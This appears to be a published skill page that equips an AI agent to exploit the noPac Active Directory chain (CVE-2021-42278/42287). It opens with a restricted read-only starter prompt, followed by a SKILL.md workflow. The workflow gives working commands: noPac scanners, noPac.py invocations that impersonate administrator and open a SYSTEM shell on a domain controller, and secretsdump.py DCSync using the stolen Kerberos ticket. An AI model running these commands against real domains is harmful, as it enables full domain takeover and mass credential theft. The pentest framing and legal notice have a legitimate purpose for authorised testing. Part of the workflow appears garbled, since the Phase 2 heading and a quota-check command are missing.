Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and secretsdump.py to escalate from a standard domain user to Domain Admin. Use when red-teaming or pentesting Active Directory to validate machine-account impersonation and DCSync-based credential dumping.
Start a fresh conversation. Replace the highlighted placeholders.
Use exploiting-nopac-cve-2021-42278-42287 to perform only the documented LDAP read of ms-DS-MachineAccountQuota for [written-authorized synthetic lab domain, controller, and base DN], using [approved read-only lab bind reference] in [existing compatible Python and ldap3 runtime]. Confirm the exact target, filter, attribute, and network effects before access; report the actual value, time, domain/controller provenance, and unknowns. Do not scan, mutate accounts, request tickets, exploit, or infer vulnerability or patch status.
Required inputs
[written-authorized synthetic lab domain, controller, and base DN]
[approved read-only lab bind reference]
[existing compatible Python and ldap3 runtime]
User-approved starter prompt based on a pinned source version; check current skill requirements before running. Task evidence ↗
SKILL.md
name: exploiting-nopac-cve-2021-42278-42287description: Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and secretsdump.py to escalate from a standard domain user to Domain Admin. Use when red-teaming or pentesting Active Directory to validate machine-account impersonation and DCSync-based credential dumping.domain: cybersecuritysubdomain: red-teamingtags: - red-team- active-directory- nopac- cve-2021-42278- cve-2021-42287- privilege-escalation- domain-escalationversion: '1.0'author: mahipallicense: Apache-2.0d3fend_techniques: - Platform Monitoring- Process Code Segment Verification- Stack Frame Canary Validation- Segment Address Offset Randomization- Process Analysisnist_csf: - ID.RA-01- GV.OV-02- DE.AE-07mitre_attack: - T1595- T1190- T1059- T1078- T1068
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.
When to Use
When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287
When analyzing malware samples or attack artifacts in a controlled environment
When conducting red team exercises or penetration testing engagements
When building detection capabilities based on offensive technique understanding
Prerequisites
Familiarity with red teaming concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities
Objectives
Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
Create or leverage a machine account with modified sAMAccountName
Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
Use the DC ticket to perform DCSync and dump domain credentials
Achieve Domain Admin access from a standard domain user account
Document the complete exploitation chain with evidence
MITRE ATT&CK Mapping
T1068 - Exploitation for Privilege Escalation
T1136.002 - Create Account: Domain Account
T1078.002 - Valid Accounts: Domain Accounts
T1558 - Steal or Forge Kerberos Tickets
T1003.006 - OS Credential Dumping: DCSync
Workflow
Phase 1: Vulnerability Scanning
Check if the domain is vulnerable using the noPac scanner:
# Using cube0x0's noPac scanner
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# Using CrackMapExec module
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
Verify the MachineAccountQuota (default is 10, allows any user to join computers):
# Using cube0x0's noPac (gets a shell on the DC)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
# Using Ridter's noPac (alternative implementation)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
--impersonate administrator -dump
The exploit automatically:
Creates a new machine account (or uses an existing one)
Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
Requests a TGT for the spoofed account name
Restores the original sAMAccountName
Uses S4U2self to obtain a service ticket impersonating the target user
The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)
Phase 3: Post-Exploitation
With the obtained Domain Controller ticket, perform DCSync:
# DCSync using secretsdump.py with the Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
# Or directly through the noPac shell
# The shell runs as SYSTEM on the DC